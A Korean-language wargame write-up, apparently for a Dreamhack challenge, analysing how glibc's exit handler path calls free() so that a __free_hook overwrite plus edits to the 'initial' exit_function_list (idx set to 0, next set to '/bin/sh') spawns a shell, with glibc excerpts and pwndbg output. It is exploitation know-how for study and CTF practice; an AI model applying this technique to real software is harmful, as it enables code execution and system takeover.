__run_exit_handlers free hook overwrite
https://www.notion.so/lv2_Overwrite-_rtld_global-227364c9a3f18012acf5f8aecd34ba24?source=copy_link
해당 문제를 푸는 도중 원래 의도는 rtld_global의 _rtld_lock_recursive 함수를 overwrite 한뒤 푸는 문제였으나 신기한 풀이를 발견했다.
https://dreamhack.io/wargame/writeups/7548
이 문제는 실행파일에 free 함수가 존재하지 않는다. 근데 이 분은 갑자기 _free_hook overwrite를 하기 시작한다. hook overwrite야 쉽지만 없는 free 함수를 실행시키는 것은 어렵다. 나는 여기에 꽂혀서 어떻게 free 함수를 실행시키는지 분석을 시작해보았다.
이 글은 분석에 대한 내용이다.
먼저, 우리가 프로그램이 끝날때 _dl_fini 함수를 거쳐 __run_exit_handlers 함수를 사용하게 된다. 여기서 보면
함수의 끝에
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);free (cur); 으로 놀랍게도 free를 사용하게 된다.
이때 조건이 조금 있는데 일단 가장 중요한 건 if (*listp != NULL). 을 반드시 통과해야 된다.
또한 그 위에 있는 코드인
while (cur->idx > 0) {이 while 문에 걸리면 안된다.
*listp 는 cur->next; 을 의미한다.
cur 은
struct exit_function_list *cur;
exit_function_list 구조체를 의미한다.
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};해당 구조체는 다음과 같이 정의되어있으며
cur->idx 는 offset + 0x8 이며
cur→next 는 offset + 0x0 이다. 그럼 이제 offset을 알 수 있기만 한다면,
cur->idx 에 0을 넣고 cur→next 에는 “/bin/sh” 을 u64(b'/bin/sh\0') 다음과 같이 넣으면
free (cur); 여기서 hook에 overwrite 된 system(”/bin/sh”) 을 실행 시킬 수 있게된다.
추가적으로
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;첫번째의 exit_function_list 구조체는 initial 이라는 전역변수를 가진다.
따라서 우리는 gdb에서 편하게
pwndbg> p &initial
$1 = (struct exit_function_list *) 0x7c357ccfdd80 <initial>
pwndbg> p initial
$2 = {
next = 0x0,
idx = 1,
fns = {{
flavor = 4,
func = {
at = 0x8831e592f5c780b3,
on = {
fn = 0x8831e592f5c780b3,
arg = 0x0
},
cxa = {
fn = 0x8831e592f5c780b3,
arg = 0x0,
dso_handle = 0x0
}
}
}, {
flavor = 0,
func = {
at = 0x0,
on = {
fn = 0x0,
arg = 0x0
},
cxa = {
fn = 0x0,
arg = 0x0,
dso_handle = 0x0
}
}
} <repeats 31 times>}
}
initial 이라는 심볼로 사용 할 수 있다.
idx = 1, 을 0으로 바꾸고
next = 0x0, 을 채워넣으면 우리의 준비는 끝나는 것이다.
pwndbg> vmmap &initial
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7c357ccfc000 0x7c357ccfe000 rw-p 2000 1eb000 /home/ow_rtld/libc-2.27.so +0x1d80
당연히 libc에 위치하므로 libc의 디버깅 심볼이 있어야 한다.